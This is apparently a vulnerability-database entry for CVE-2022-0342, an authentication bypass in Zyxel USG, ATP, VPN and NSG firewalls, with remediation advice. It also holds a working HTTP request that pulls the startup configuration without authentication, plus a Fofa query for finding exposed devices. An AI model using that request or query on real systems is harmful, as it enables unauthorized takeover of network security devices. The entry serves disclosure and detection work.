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CVE-2022-0342: Zyxel - Authentication Bypass

TitleZyxel - Authentication Bypass
AuthorSleepingBag945,Powerexploit
SeverityCritical
ImpactUnauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.
RemediationApply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.
CVSS Score9.8
EPSS Score0.91427
CVE IDCVE-2022-0342
CWE IDCWE-287
Fofa Querybody="/2FA-access.cgi" && body="zyxel zyxel_style1"body="/2fa-access.cgi" && body="zyxel zyxel_style1"
Tags cve2022 cve zyxel auth-bypass router vkev vuln

🔍 Vulnerability Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

🌐 HTTP Request

GET /cgi-bin/export-cgi?category=config&arg0=startup-config.conf HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0342.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0342.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A